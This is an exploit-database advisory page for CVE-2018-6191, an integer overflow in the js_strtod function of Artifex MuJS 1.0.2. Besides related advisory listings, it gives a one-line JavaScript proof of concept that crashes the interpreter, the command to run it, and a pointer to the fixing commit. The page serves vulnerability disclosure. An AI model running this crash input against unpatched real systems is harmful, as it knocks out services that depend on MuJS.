Lucene search
K

Artifex MuJS 1.0.2 - Denial of Service Exploit

🗓️ 28 Jan 2018 00:00:00Reported by Andrea SindoniType 
zdt
 zdt
🔗 0day.today👁 28 Views

Artifex MuJS 1.0.2 - Integer Overflow DoS Exploi

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Artifex MuJS 'js_strtod' function integer overflow vulnerability
25 Jan 201800:00
cnvd
CVE
CVE-2018-6191
24 Jan 201821:00
cve
Cvelist
CVE-2018-6191
24 Jan 201821:00
cvelist
Debian CVE
CVE-2018-6191
24 Jan 201821:00
debiancve
Exploit DB
Artifex MuJS 1.0.2 - Denial of Service
28 Jan 201800:00
exploitdb
EUVD
EUVD-2018-17952
7 Oct 202500:30
euvd
exploitpack
Artifex MuJS 1.0.2 - Denial of Service
28 Jan 201800:00
exploitpack
Fedora
[SECURITY] Fedora 26 Update: mujs-0-11.20180129git25821e6.fc26
14 Feb 201817:11
fedora
Fedora
[SECURITY] Fedora 27 Update: mujs-0-11.20180129git25821e6.fc27
14 Feb 201817:33
fedora
Tenable Nessus
Fedora 27 : mujs (2018-5b2e981f14)
15 Feb 201800:00
nessus
Rows per page
The js_strtod function in jsdtoa.c in Artifex MuJS through 1.0.2 has an
integer overflow because of incorrect exponent validation.
 
# Exploit Title: Integer signedness error leading to Out-of-bounds read
that causes crash
# Date: 2018-01-24
# Exploit Author: Andrea Sindoni - @invictus1306
# Vendor: Artifex (https://www.artifex.com/)
# Software Link: https://github.com/ccxvii/mujs
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
# Tested on: Linux
# CVE : CVE-2018-6191
 
Content of the poc file
$ cat poc.js
function pipo() {var 2e2147483648= 117486231123842366;}
 
Run it
$ mujs poc.js
 
Additional details about the bug:
 
Inside the function js_strtod, after this line
https://github.com/ccxvii/mujs/blob/81388eb40d29f10599ac30dde90e683a3c254375/jsdtoa.c#L714
 
exp = -exp;
 
the value of "exp" is still negative (cause integer declaration).
 
Fixed in commit 25821e6d74fab5fcc200fe5e818362e03e114428 (
http://git.ghostscript.com/?p=mujs.git;a=commit;h=25821e6d74fab5fcc200fe5e818362e03e114428
)

#  0day.today [2018-02-18]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation